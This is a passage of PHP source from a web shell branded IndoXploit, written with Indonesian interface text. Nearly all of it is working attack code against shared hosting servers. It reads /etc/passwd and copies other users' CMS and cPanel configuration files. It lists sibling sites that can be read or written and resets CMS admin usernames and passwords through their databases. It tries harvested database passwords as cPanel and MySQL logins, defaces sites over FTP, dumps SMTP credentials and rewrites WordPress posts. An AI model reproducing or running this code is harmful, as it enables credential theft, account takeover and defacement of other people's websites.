QnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9sb2tvbWVkaWEvY29uZmlnL2tvbmVrc2kucGhwJywkc2l0ZXNzLictTG9rb21lZGlhLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL3NsY29uZmlnLnBocCcsJHNpdGVzcy4nLVNpdGVsb2NrLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2FwcGxpY2F0aW9uL2NvbmZpZy9kYXRhYmFzZS5waHAnLCRzaXRlc3MuJy1FbGxpc2xhYi50eHQnKTsNCn0NCnByaW50ICJMb2NhdGlvbjogLi9cblxuIjs=";
		$file = "pastigans_config/vhost.cin";
		$handle = fopen($file ,"w+");
		fwrite($handle ,base64_decode($vhost));
		fclose($handle);
		chmod($file, 0755);
		if(exe("cd pastigans_config && ./vhost.cin")) {
			echo "<center><a href='$link_config/pastigans_config'><font color=lime>Done</font></a></center>";
		} else {
			echo "<center><a href='$link_config/pastigans_config/vhost.cin'><font color=lime>Done</font></a></center>";
		}

	} else {
		$etc = fopen("/etc/passwd", "r") or die("<pre><font color=red>Can't read /etc/passwd</font></pre>");
		while($passwd = fgets($etc)) {
			if($passwd == "" || !$etc) {
				echo "<font color=red>Can't read /etc/passwd</font>";
			} else {
				preg_match_all('/(.*?):x:/', $passwd, $user_config);
				foreach($user_config[1] as $user_idx) {
					$user_config_dir = "/home/$user_idx/public_html/";
					if(is_readable($user_config_dir)) {
						$grab_config = array(
							"/home/$user_idx/.my.cnf" => "cpanel",
							"/home/$user_idx/.accesshash" => "WHM-accesshash",
							"$user_config_dir/po-content/config.php" => "Popoji",
							"$user_config_dir/vdo_config.php" => "Voodoo",
							"$user_config_dir/bw-configs/config.ini" => "BosWeb",
							"$user_config_dir/config/koneksi.php" => "Lokomedia",
							"$user_config_dir/lokomedia/config/koneksi.php" => "Lokomedia",
							"$user_config_dir/clientarea/configuration.php" => "WHMCS",
							"$user_config_dir/whm/configuration.php" => "WHMCS",
							"$user_config_dir/whmcs/configuration.php" => "WHMCS",
							"$user_config_dir/forum/config.php" => "phpBB",
							"$user_config_dir/sites/default/settings.php" => "Drupal",
							"$user_config_dir/config/settings.inc.php" => "PrestaShop",
							"$user_config_dir/app/etc/local.xml" => "Magento",
							"$user_config_dir/joomla/configuration.php" => "Joomla",
							"$user_config_dir/configuration.php" => "Joomla",
							"$user_config_dir/wp/wp-config.php" => "WordPress",
							"$user_config_dir/wordpress/wp-config.php" => "WordPress",
							"$user_config_dir/wp-config.php" => "WordPress",
							"$user_config_dir/admin/config.php" => "OpenCart",
							"$user_config_dir/slconfig.php" => "Sitelok",
							"$user_config_dir/application/config/database.php" => "Ellislab");
						foreach($grab_config as $config => $nama_config) {
							$ambil_config = file_get_contents($config);
							if($ambil_config == '') {
							} else {
								$file_config = fopen("pastigans_config/$user_idx-$nama_config.txt","w");
								fputs($file_config,$ambil_config);
							}
						}
					}		
				}
			}	
		}
	echo "<center><a href='?dir=$dir/pastigans_config'><font color=lime>Done</font></a></center>";
	}



} elseif($_GET['do'] == 'jumping') {
	$i = 0;
	echo "<div class='margin: 5px auto;'>";
	if(preg_match("/hsphere/", $dir)) {
		$urls = explode("
", $_POST['url']);
		if(isset($_POST['jump'])) {
			echo "<pre>";
			foreach($urls as $url) {
				$url = str_replace(array("http://","www."), "", strtolower($url));
				$etc = "/etc/passwd";
				$f = fopen($etc,"r");
				while($gets = fgets($f)) {
					$pecah = explode(":", $gets);
					$user = $pecah[0];
					$dir_user = "/hsphere/local/home/$user";
					if(is_dir($dir_user) === true) {
						$url_user = $dir_user."/".$url;
						if(is_readable($url_user)) {
							$i++;
							$jrw = "[<font color=lime>R</font>] <a href='?dir=$url_user'><font color=gold>$url_user</font></a>";
							if(is_writable($url_user)) {
								$jrw = "[<font color=lime>RW</font>] <a href='?dir=$url_user'><font color=gold>$url_user</font></a>";
							}
							echo $jrw."<br>";
						}
					}
				}
			}
		if($i == 0) { 
		} else {
			echo "<br>Total ada ".$i." Kamar di ".$ip;
		}
		echo "</pre>";
		} else {
			echo '<center>
				  <form method="post">
				  List Domains: <br>
				  <textarea name="url" style="width: 500px; height: 250px;">';
			$fp = fopen("/hsphere/local/config/httpd/sites/sites.txt","r");
			while($getss = fgets($fp)) {
				echo $getss;
			}
			echo  '</textarea><br>
				  <input type="submit" value="Jumping" name="jump" style="width: 500px; height: 25px;">
				  </form></center>';
		}
	} elseif(preg_match("/vhosts|vhost/", $dir)) {
		preg_match("/\/var\/www\/(.*?)\//", $dir, $vh);
		$urls = explode("
", $_POST['url']);
		if(isset($_POST['jump'])) {
			echo "<pre>";
			foreach($urls as $url) {
				$url = str_replace("www.", "", $url);
				$web_vh = "/var/www/".$vh[1]."/$url/httpdocs";
				if(is_dir($web_vh) === true) {
					if(is_readable($web_vh)) {
						$i++;
						$jrw = "[<font color=lime>R</font>] <a href='?dir=$web_vh'><font color=gold>$web_vh</font></a>";
						if(is_writable($web_vh)) {
							$jrw = "[<font color=lime>RW</font>] <a href='?dir=$web_vh'><font color=gold>$web_vh</font></a>";
						}
						echo $jrw."<br>";
					}
				}
			}
		if($i == 0) { 
		} else {
			echo "<br>Total ada ".$i." Kamar di ".$ip;
		}
		echo "</pre>";
		} else {
			echo '<center>
				  <form method="post">
				  List Domains: <br>
				  <textarea name="url" style="width: 500px; height: 250px;">';
				  bing("ip:$ip");
			echo  '</textarea><br>
				  <input type="submit" value="Jumping" name="jump" style="width: 500px; height: 25px;">
				  </form></center>';
		}
	} else {
		echo "<pre>";
		$etc = fopen("/etc/passwd", "r") or die("<font color=red>Can't read /etc/passwd</font>");
		while($passwd = fgets($etc)) {
			if($passwd == '' || !$etc) {
				echo "<font color=red>Can't read /etc/passwd</font>";
			} else {
				preg_match_all('/(.*?):x:/', $passwd, $user_jumping);
				foreach($user_jumping[1] as $user_idx_jump) {
					$user_jumping_dir = "/home/$user_idx_jump/public_html";
					if(is_readable($user_jumping_dir)) {
						$i++;
						$jrw = "[<font color=lime>R</font>] <a href='?dir=$user_jumping_dir'><font color=gold>$user_jumping_dir</font></a>";
						if(is_writable($user_jumping_dir)) {
							$jrw = "[<font color=lime>RW</font>] <a href='?dir=$user_jumping_dir'><font color=gold>$user_jumping_dir</font></a>";
						}
						echo $jrw;
						if(function_exists('posix_getpwuid')) {
							$domain_jump = file_get_contents("/etc/named.conf");	
							if($domain_jump == '') {
								echo " => ( <font color=red>gabisa ambil nama domain nya</font> )<br>";
							} else {
								preg_match_all("#/var/named/(.*?).db#", $domain_jump, $domains_jump);
								foreach($domains_jump[1] as $dj) {
									$user_jumping_url = posix_getpwuid(@fileowner("/etc/valiases/$dj"));
									$user_jumping_url = $user_jumping_url['name'];
									if($user_jumping_url == $user_idx_jump) {
										echo " => ( <u>$dj</u> )<br>";
										break;
									}
								}
							}
						} else {
							echo "<br>";
						}
					}
				}
			}
		}
		if($i == 0) { 
		} else {
			echo "<br>Total ada ".$i." Kamar di ".$ip;
		}
		echo "</pre>";
	}
	echo "</div>";
} elseif($_GET['do'] == 'auto_edit_user') {
	if($_POST['hajar']) {
		if(strlen($_POST['pass_baru']) < 6 OR strlen($_POST['user_baru']) < 6) {
			echo "username atau password harus lebih dari 6 karakter";
		} else {
			$user_baru = $_POST['user_baru'];
			$pass_baru = md5($_POST['pass_baru']);
			$conf = $_POST['config_dir'];
			$scan_conf = scandir($conf);
			foreach($scan_conf as $file_conf) {
				if(!is_file("$conf/$file_conf")) continue;
				$config = file_get_contents("$conf/$file_conf");
				if(preg_match("/JConfig|joomla/",$config)) {
					$dbhost = ambilkata($config,"host = '","'");
					$dbuser = ambilkata($config,"user = '","'");
					$dbpass = ambilkata($config,"password = '","'");
					$dbname = ambilkata($config,"db = '","'");
					$dbprefix = ambilkata($config,"dbprefix = '","'");
					$prefix = $dbprefix."users";
					$conn = mysql_connect($dbhost,$dbuser,$dbpass);
					$db = mysql_select_db($dbname);
					$q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
					$result = mysql_fetch_array($q);
					$id = $result['id'];
					$site = ambilkata($config,"sitename = '","'");
					$update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE id='$id'");
					echo "Config => ".$file_conf."<br>";
					echo "CMS => Joomla<br>";
					if($site == '') {
						echo "Sitename => <font color=red>error, gabisa ambil nama domain nya</font><br>";
					} else {
						echo "Sitename => $site<br>";
					}
					if(!$update OR !$conn OR !$db) {
						echo "Status => <font color=red>".mysql_error()."</font><br><br>";
					} else {
						echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
					}
					mysql_close($conn);
				} elseif(preg_match("/WordPress/",$config)) {
					$dbhost = ambilkata($config,"DB_HOST', '","'");
					$dbuser = ambilkata($config,"DB_USER', '","'");
					$dbpass = ambilkata($config,"DB_PASSWORD', '","'");
					$dbname = ambilkata($config,"DB_NAME', '","'");
					$dbprefix = ambilkata($config,"table_prefix  = '","'");
					$prefix = $dbprefix."users";
					$option = $dbprefix."options";
					$conn = mysql_connect($dbhost,$dbuser,$dbpass);
					$db = mysql_select_db($dbname);
					$q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
					$result = mysql_fetch_array($q);
					$id = $result[ID];
					$q2 = mysql_query("SELECT * FROM $option ORDER BY option_id ASC");
					$result2 = mysql_fetch_array($q2);
					$target = $result2[option_value];
					if($target == '') {
						$url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
					} else {
						$url_target = "Login => <a href='$target/wp-login.php' target='_blank'><u>$target/wp-login.php</u></a><br>";
					}
					$update = mysql_query("UPDATE $prefix SET user_login='$user_baru',user_pass='$pass_baru' WHERE id='$id'");
					echo "Config => ".$file_conf."<br>";
					echo "CMS => Wordpress<br>";
					echo $url_target;
					if(!$update OR !$conn OR !$db) {
						echo "Status => <font color=red>".mysql_error()."</font><br><br>";
					} else {
						echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
					}
					mysql_close($conn);
				} elseif(preg_match("/Magento|Mage_Core/",$config)) {
					$dbhost = ambilkata($config,"<host><![CDATA[","]]></host>");
					$dbuser = ambilkata($config,"<username><![CDATA[","]]></username>");
					$dbpass = ambilkata($config,"<password><![CDATA[","]]></password>");
					$dbname = ambilkata($config,"<dbname><![CDATA[","]]></dbname>");
					$dbprefix = ambilkata($config,"<table_prefix><![CDATA[","]]></table_prefix>");
					$prefix = $dbprefix."admin_user";
					$option = $dbprefix."core_config_data";
					$conn = mysql_connect($dbhost,$dbuser,$dbpass);
					$db = mysql_select_db($dbname);
					$q = mysql_query("SELECT * FROM $prefix ORDER BY user_id ASC");
					$result = mysql_fetch_array($q);
					$id = $result[user_id];
					$q2 = mysql_query("SELECT * FROM $option WHERE path='web/secure/base_url'");
					$result2 = mysql_fetch_array($q2);
					$target = $result2[value];
					if($target == '') {
						$url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
					} else {
						$url_target = "Login => <a href='$target/admin/' target='_blank'><u>$target/admin/</u></a><br>";
					}
					$update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE user_id='$id'");
					echo "Config => ".$file_conf."<br>";
					echo "CMS => Magento<br>";
					echo $url_target;
					if(!$update OR !$conn OR !$db) {
						echo "Status => <font color=red>".mysql_error()."</font><br><br>";
					} else {
						echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
					}
					mysql_close($conn);
				} elseif(preg_match("/HTTP_SERVER|HTTP_CATALOG|DIR_CONFIG|DIR_SYSTEM/",$config)) {
					$dbhost = ambilkata($config,"'DB_HOSTNAME', '","'");
					$dbuser = ambilkata($config,"'DB_USERNAME', '","'");
					$dbpass = ambilkata($config,"'DB_PASSWORD', '","'");
					$dbname = ambilkata($config,"'DB_DATABASE', '","'");
					$dbprefix = ambilkata($config,"'DB_PREFIX', '","'");
					$prefix = $dbprefix."user";
					$conn = mysql_connect($dbhost,$dbuser,$dbpass);
					$db = mysql_select_db($dbname);
					$q = mysql_query("SELECT * FROM $prefix ORDER BY user_id ASC");
					$result = mysql_fetch_array($q);
					$id = $result[user_id];
					$target = ambilkata($config,"HTTP_SERVER', '","'");
					if($target == '') {
						$url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
					} else {
						$url_target = "Login => <a href='$target' target='_blank'><u>$target</u></a><br>";
					}
					$update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE user_id='$id'");
					echo "Config => ".$file_conf."<br>";
					echo "CMS => OpenCart<br>";
					echo $url_target;
					if(!$update OR !$conn OR !$db) {
						echo "Status => <font color=red>".mysql_error()."</font><br><br>";
					} else {
						echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
					}
					mysql_close($conn);
				} elseif(preg_match("/panggil fungsi validasi xss dan injection/",$config)) {
					$dbhost = ambilkata($config,'server = "','"');
					$dbuser = ambilkata($config,'username = "','"');
					$dbpass = ambilkata($config,'password = "','"');
					$dbname = ambilkata($config,'database = "','"');
					$prefix = "users";
					$option = "identitas";
					$conn = mysql_connect($dbhost,$dbuser,$dbpass);
					$db = mysql_select_db($dbname);
					$q = mysql_query("SELECT * FROM $option ORDER BY id_identitas ASC");
					$result = mysql_fetch_array($q);
					$target = $result[alamat_website];
					if($target == '') {
						$target2 = $result[url];
						$url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
						if($target2 == '') {
							$url_target2 = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
						} else {
							$cek_login3 = file_get_contents("$target2/adminweb/");
							$cek_login4 = file_get_contents("$target2/lokomedia/adminweb/");
							if(preg_match("/CMS Lokomedia|Administrator/", $cek_login3)) {
								$url_target2 = "Login => <a href='$target2/adminweb' target='_blank'><u>$target2/adminweb</u></a><br>";
							} elseif(preg_match("/CMS Lokomedia|Lokomedia/", $cek_login4)) {
								$url_target2 = "Login => <a href='$target2/lokomedia/adminweb' target='_blank'><u>$target2/lokomedia/adminweb</u></a><br>";
							} else {
								$url_target2 = "Login => <a href='$target2' target='_blank'><u>$target2</u></a> [ <font color=red>gatau admin login nya dimana :p</font> ]<br>";
							}
						}
					} else {
						$cek_login = file_get_contents("$target/adminweb/");
						$cek_login2 = file_get_contents("$target/lokomedia/adminweb/");
						if(preg_match("/CMS Lokomedia|Administrator/", $cek_login)) {
							$url_target = "Login => <a href='$target/adminweb' target='_blank'><u>$target/adminweb</u></a><br>";
						} elseif(preg_match("/CMS Lokomedia|Lokomedia/", $cek_login2)) {
							$url_target = "Login => <a href='$target/lokomedia/adminweb' target='_blank'><u>$target/lokomedia/adminweb</u></a><br>";
						} else {
							$url_target = "Login => <a href='$target' target='_blank'><u>$target</u></a> [ <font color=red>gatau admin login nya dimana :p</font> ]<br>";
						}
					}
					$update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE level='admin'");
					echo "Config => ".$file_conf."<br>";
					echo "CMS => Lokomedia<br>";
					if(preg_match('/error, gabisa ambil nama domain nya/', $url_target)) {
						echo $url_target2;
					} else {
						echo $url_target;
					}
					if(!$update OR !$conn OR !$db) {
						echo "Status => <font color=red>".mysql_error()."</font><br><br>";
					} else {
						echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
					}
					mysql_close($conn);
				}
			}
		}
	} else {
		echo "<center>
		<h1>Auto Edit User Config</h1>
		<form method='post'>
		DIR Config: <br>
		<input type='text' size='50' name='config_dir' value='$dir'><br><br>
		Set User & Pass: <br>
		<input type='text' name='user_baru' value='indoxploit' placeholder='user_baru'><br>
		<input type='text' name='pass_baru' value='indoxploit' placeholder='pass_baru'><br>
		<input type='submit' name='hajar' value='Hajar!' style='width: 215px;'>
		</form>
		<span>NB: Tools ini work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span><br>
		";
	}
} elseif($_GET['do'] == 'cpanel') {
	if($_POST['crack']) {
		$usercp = explode("
", $_POST['user_cp']);
		$passcp = explode("
", $_POST['pass_cp']);
		$i = 0;
		foreach($usercp as $ucp) {
			foreach($passcp as $pcp) {
				if(@mysql_connect('localhost', $ucp, $pcp)) {
					if($_SESSION[$ucp] && $_SESSION[$pcp]) {
					} else {
						$_SESSION[$ucp] = "1";
						$_SESSION[$pcp] = "1";
						if($ucp == '' || $pcp == '') {
							
						} else {
							$i++;
							if(function_exists('posix_getpwuid')) {
								$domain_cp = file_get_contents("/etc/named.conf");	
								if($domain_cp == '') {
									$dom =  "<font color=red>gabisa ambil nama domain nya</font>";
								} else {
									preg_match_all("#/var/named/(.*?).db#", $domain_cp, $domains_cp);
									foreach($domains_cp[1] as $dj) {
										$user_cp_url = posix_getpwuid(@fileowner("/etc/valiases/$dj"));
										$user_cp_url = $user_cp_url['name'];
										if($user_cp_url == $ucp) {
											$dom = "<a href='http://$dj/' target='_blank'><font color=lime>$dj</font></a>";
											break;
										}
									}
								}
							} else {
								$dom = "<font color=red>function is Disable by system</font>";
							}
							echo "username (<font color=lime>$ucp</font>) password (<font color=lime>$pcp</font>) domain ($dom)<br>";
						}
					}
				}
			}
		}
		if($i == 0) {
		} else {
			echo "<br>sukses nyolong ".$i." Cpanel by <font color=lime>IndoXploit.</font>";
		}
	} else {
		echo "<center>
		<form method='post'>
		USER: <br>
		<textarea style='width: 450px; height: 150px;' name='user_cp'>";
		$_usercp = fopen("/etc/passwd","r");
		while($getu = fgets($_usercp)) {
			if($getu == '' || !$_usercp) {
				echo "<font color=red>Can't read /etc/passwd</font>";
			} else {
				preg_match_all("/(.*?):x:/", $getu, $u);
				foreach($u[1] as $user_cp) {
						if(is_dir("/home/$user_cp/public_html")) {
							echo "$user_cp
";
					}
				}
			}
		}
		echo "</textarea><br>
		PASS: <br>
		<textarea style='width: 450px; height: 200px;' name='pass_cp'>";
		function cp_pass($dir) {
			$pass = "";
			$dira = scandir($dir);
			foreach($dira as $dirb) {
				if(!is_file("$dir/$dirb")) continue;
				$ambil = file_get_contents("$dir/$dirb");
				if(preg_match("/WordPress/", $ambil)) {
					$pass .= ambilkata($ambil,"DB_PASSWORD', '","'")."
";
				} elseif(preg_match("/JConfig|joomla/", $ambil)) {
					$pass .= ambilkata($ambil,"password = '","'")."
";
				} elseif(preg_match("/Magento|Mage_Core/", $ambil)) {
					$pass .= ambilkata($ambil,"<password><![CDATA[","]]></password>")."
";
				} elseif(preg_match("/panggil fungsi validasi xss dan injection/", $ambil)) {
					$pass .= ambilkata($ambil,'password = "','"')."
";
				} elseif(preg_match("/HTTP_SERVER|HTTP_CATALOG|DIR_CONFIG|DIR_SYSTEM/", $ambil)) {
					$pass .= ambilkata($ambil,"'DB_PASSWORD', '","'")."
";
				} elseif(preg_match("/^[client]$/", $ambil)) {
					preg_match("/password=(.*?)/", $ambil, $pass1);
					if(preg_match('/"/', $pass1[1])) {
						$pass1[1] = str_replace('"', "", $pass1[1]);
						$pass .= $pass1[1]."
";
					} else {
						$pass .= $pass1[1]."
";
					}
				} elseif(preg_match("/cc_encryption_hash/", $ambil)) {
					$pass .= ambilkata($ambil,"db_password = '","'")."
";
				}
			}
			echo $pass;
		}
		$cp_pass = cp_pass($dir);
		echo $cp_pass;
		echo "</textarea><br>
		<input type='submit' name='crack' style='width: 450px;' value='Crack'>
		</form>
		<span>NB: CPanel Crack ini sudah auto get password ( pake db password ) maka akan work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span><br></center>";
	}

} elseif($_GET['do'] == 'domain'){
	echo "<center><div><p align='center'>Domains and Users</p>";$d0mains = @file("/etc/named.conf");if(!$d0mains){die("<center>Error : can't read [ /etc/named.conf ]</center>");}echo '<table><tr bgcolor=#333><td>Domains</td><td>users</td></tr>';foreach($d0mains as $d0main){if(eregi("zone",$d0main)){preg_match_all('#zone "(.*)"#', $d0main, $domains);flush();if(strlen(trim($domains[1][0])) > 2){$user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));echo "<tr><td><a href=http://www.".$domains[1][0]."/>".$domains[1][0]."</a></td><td>".$user['name']."</td></tr>";flush();}}}echo'</div></center>';

} elseif($_GET['do'] == 'server'){

			echo "<br><center><b>-=Server Security Informations=-</b><center><br>";
echo "<center><div class='tmpe'>
<table align='center' width='50%'><td><font color='#007700'>Kernel Version</font></td><td>";echo php_uname();
echo "<tr><td><font color='#007700'>Web Server</font></td><td>";echo $_SERVER["SERVER_SOFTWARE"];
echo "<tr><td><font color='#007700'>PHP Version</font></td><td>";echo phpversion(); echo " on "; echo php_sapi_name();
echo "<tr><td><font color='#007700'>Current User</font></td><td>";echo get_current_user();
echo "<tr><td><font color='#007700'>User ID</font></td><td>";echo getmyuid();
echo "<tr><td><font color='#007700'>Group</font></td><td>";echo getmygid();
echo "<tr><td><font color='#007700'>Cwd </font></td><td>";echo getcwd();
echo "<tr><td><font color='#007700'>Admin Server</font></td><td>";echo $_SERVER['SERVER_ADMIN'];
echo "<tr><td><font color='#007700'>Server Port</font></td><td>";echo $_SERVER['SERVER_PORT'];
echo "<tr><td><font color='#007700'>Server IP</font></td><td>";echo $serverIP = gethostbyname($_SERVER["HTTP_HOST"]);
echo "<tr><td><font color='#007700'>Client IP</font></td><td>";echo $_SERVER['REMOTE_ADDR'];
echo "<tr><td><font color='#007700'>cURL support</font></td><td>";echo function_exists('curl_version')?'Enabled':'No';
echo "<tr><td><font color='#007700'>Readable /etc/passwd</font></td><td>";echo @is_readable('/etc/passwd')?"Readable <a href='?action=moco'> [View]</a>":"Not Readable";
echo "<tr><td><font color='#007700'>Readable /etc/shadow</font></td><td>";echo @is_readable('/etc/shadow')?"Readable":"Not Readable";
$base = (ini_get("open_basedir") or strtoupper(ini_get("open_basedir"))=="ON")?"ON <font color='#007700'>secure</font>":"OFF <font color='#007700'>not secure</font>";
echo "<tr><td><font color='#007700'>Open Base Dir</font></td><td><font class=txt>" . $base . "</font>";
echo "</table></div></center><br>";



} elseif($_GET['do'] == 'cpftp_auto') {
	if($_POST['crack']) {
		$usercp = explode("
", $_POST['user_cp']);
		$passcp = explode("
", $_POST['pass_cp']);
		$i = 0;
		foreach($usercp as $ucp) {
			foreach($passcp as $pcp) {
				if(@mysql_connect('localhost', $ucp, $pcp)) {
					if($_SESSION[$ucp] && $_SESSION[$pcp]) {
					} else {
						$_SESSION[$ucp] = "1";
						$_SESSION[$pcp] = "1";
						if($ucp == '' || $pcp == '') {
							//
						} else {
							echo "[+] username (<font color=lime>$ucp</font>) password (<font color=lime>$pcp</font>)<br>";
							$ftp_conn = ftp_connect($ip);
							$ftp_login = ftp_login($ftp_conn, $ucp, $pcp);
							if((!$ftp_login) || (!$ftp_conn)) {
								echo "[+] <font color=red>Login Gagal</font><br><br>";
							} else {
								echo "[+] <font color=lime>Login Sukses</font><br>";
								$fi = htmlspecialchars($_POST['file_deface']);
								$deface = ftp_put($ftp_conn, "public_html/$fi", $_POST['deface'], FTP_BINARY);
								if($deface) {
									$i++;
									echo "[+] <font color=lime>Deface Sukses</font><br>";
									if(function_exists('posix_getpwuid')) {
										$domain_cp = file_get_contents("/etc/named.conf");	
										if($domain_cp == '') {
											echo "[+] <font color=red>gabisa ambil nama domain nya</font><br><br>";
										} else {
											preg_match_all("#/var/named/(.*?).db#", $domain_cp, $domains_cp);
											foreach($domains_cp[1] as $dj) {
												$user_cp_url = posix_getpwuid(@fileowner("/etc/valiases/$dj"));
												$user_cp_url = $user_cp_url['name'];
												if($user_cp_url == $ucp) {
													echo "[+] <a href='http://$dj/$fi' target='_blank'>http://$dj/$fi</a><br><br>";
													break;
												}
											}
										}
									} else {
										echo "[+] <font color=red>gabisa ambil nama domain nya</font><br><br>";
									}
								} else {
									echo "[-] <font color=red>Deface Gagal</font><br><br>";
								}
							}
							//echo "username (<font color=lime>$ucp</font>) password (<font color=lime>$pcp</font>)<br>";
						}
					}
				}
			}
		}
		if($i == 0) {
		} else {
			echo "<br>sukses deface ".$i." Cpanel by <font color=lime>IndoXploit.</font>";
		}
	} else {
		echo "<center>
		<form method='post'>
		Filename: <br>
		<input type='text' name='file_deface' placeholder='index.php' value='index.php' style='width: 450px;'><br>
		Deface Page: <br>
		<input type='text' name='deface' placeholder='http://www.web-yang-udah-di-deface.com/filemu.php' style='width: 450px;'><br>
		USER: <br>
		<textarea style='width: 450px; height: 150px;' name='user_cp'>";
		$_usercp = fopen("/etc/passwd","r");
		while($getu = fgets($_usercp)) {
			if($getu == '' || !$_usercp) {
				echo "<font color=red>Can't read /etc/passwd</font>";
			} else {
				preg_match_all("/(.*?):x:/", $getu, $u);
				foreach($u[1] as $user_cp) {
						if(is_dir("/home/$user_cp/public_html")) {
							echo "$user_cp
";
					}
				}
			}
		}
		echo "</textarea><br>
		PASS: <br>
		<textarea style='width: 450px; height: 200px;' name='pass_cp'>";
		function cp_pass($dir) {
			$pass = "";
			$dira = scandir($dir);
			foreach($dira as $dirb) {
				if(!is_file("$dir/$dirb")) continue;
				$ambil = file_get_contents("$dir/$dirb");
				if(preg_match("/WordPress/", $ambil)) {
					$pass .= ambilkata($ambil,"DB_PASSWORD', '","'")."
";
				} elseif(preg_match("/JConfig|joomla/", $ambil)) {
					$pass .= ambilkata($ambil,"password = '","'")."
";
				} elseif(preg_match("/Magento|Mage_Core/", $ambil)) {
					$pass .= ambilkata($ambil,"<password><![CDATA[","]]></password>")."
";
				} elseif(preg_match("/panggil fungsi validasi xss dan injection/", $ambil)) {
					$pass .= ambilkata($ambil,'password = "','"')."
";
				} elseif(preg_match("/HTTP_SERVER|HTTP_CATALOG|DIR_CONFIG|DIR_SYSTEM/", $ambil)) {
					$pass .= ambilkata($ambil,"'DB_PASSWORD', '","'")."
";
				} elseif(preg_match("/client/", $ambil)) {
					preg_match("/password=(.*)/", $ambil, $pass1);
					if(preg_match('/"/', $pass1[1])) {
						$pass1[1] = str_replace('"', "", $pass1[1]);
						$pass .= $pass1[1]."
";
					}
				} elseif(preg_match("/cc_encryption_hash/", $ambil)) {
					$pass .= ambilkata($ambil,"db_password = '","'")."
";
				}
			}
			echo $pass;
		}
		$cp_pass = cp_pass($dir);
		echo $cp_pass;
		echo "</textarea><br>
		<input type='submit' name='crack' style='width: 450px;' value='Hajar'>
		</form>
		<span>NB: CPanel Crack ini sudah auto get password ( pake db password ) maka akan work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span><br></center>";
	}
} elseif($_GET['do'] == 'smtp') {
	echo "<center><span>NB: Tools ini work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span></center><br>";
	function scj($dir) {
		$dira = scandir($dir);
		foreach($dira as $dirb) {
			if(!is_file("$dir/$dirb")) continue;
			$ambil = file_get_contents("$dir/$dirb");
			$ambil = str_replace("$", "", $ambil);
			if(preg_match("/JConfig|joomla/", $ambil)) {
				$smtp_host = ambilkata($ambil,"smtphost = '","'");
				$smtp_auth = ambilkata($ambil,"smtpauth = '","'");
				$smtp_user = ambilkata($ambil,"smtpuser = '","'");
				$smtp_pass = ambilkata($ambil,"smtppass = '","'");
				$smtp_port = ambilkata($ambil,"smtpport = '","'");
				$smtp_secure = ambilkata($ambil,"smtpsecure = '","'");
				echo "SMTP Host: <font color=lime>$smtp_host</font><br>";
				echo "SMTP port: <font color=lime>$smtp_port</font><br>";
				echo "SMTP user: <font color=lime>$smtp_user</font><br>";
				echo "SMTP pass: <font color=lime>$smtp_pass</font><br>";
				echo "SMTP auth: <font color=lime>$smtp_auth</font><br>";
				echo "SMTP secure: <font color=lime>$smtp_secure</font><br><br>";
			}
		}
	}
	$smpt_hunter = scj($dir);
	echo $smpt_hunter;
} elseif($_GET['do'] == 'auto_wp') {
	if($_POST['hajar']) {
		$title = htmlspecialchars($_POST['new_title']);
		$pn_title = str_replace(" ", "-", $title);
		if($_POST['cek_edit'] == "Y") {
			$script = $_POST['edit_content'];
		} else {
			$script = $title;
		}
		$conf = $_POST['config_dir'];
		$scan_conf = scandir($conf);
		foreach($scan_conf as $file_conf) {
			if(!is_file("$conf/$file_conf")) continue;
			$config = file_get_contents("$conf/$file_conf");
			if(preg_match("/WordPress/", $config)) {
				$dbhost = ambilkata($config,"DB_HOST', '","'");
				$dbuser = ambilkata($config,"DB_USER', '","'");
				$dbpass = ambilkata($config,"DB_PASSWORD', '","'");
				$dbname = ambilkata($config,"DB_NAME', '","'");
				$dbprefix = ambilkata($config,"table_prefix  = '","'");
				$prefix = $dbprefix."posts";
				$option = $dbprefix."options";
				$conn = mysql_connect($dbhost,$dbuser,$dbpass);
				$db = mysql_select_db($dbname);
				$q = mysql_query("SELECT * FROM $prefix ORDER BY ID ASC");
				$result = mysql_fetch_array($q);
				$id = $result[ID];
				$q2 = mysql_query("SELECT * FROM $option ORDER BY option_id ASC");
				$result2 = mysql_fetch_array($q2);
				$target = $result2[option_value];
				$update = mysql_query("UPDATE $prefix SET post_title='$title',post_content='$script',post_name='$pn_title',post_status='publish',comment_status='open',ping_status='open',post_type='post',comment_count='1' WHERE id='$id'");
				$update .= mysql_query("UPDATE $option SET option_value='$title' WHERE option_name='blogname' OR option_name='blogdescription'");
				echo "<div style='margin: 5px auto;'>";
				if($target == '') {
					echo "URL: <font color=red>error, gabisa ambil nama domain nya</font> -> ";
				} else {
					echo "URL: <a href='$target/?p=$id' target='_blank'>$target/?p=$id</a> -> ";
				}
				if(!$update OR !$conn OR !$db) {
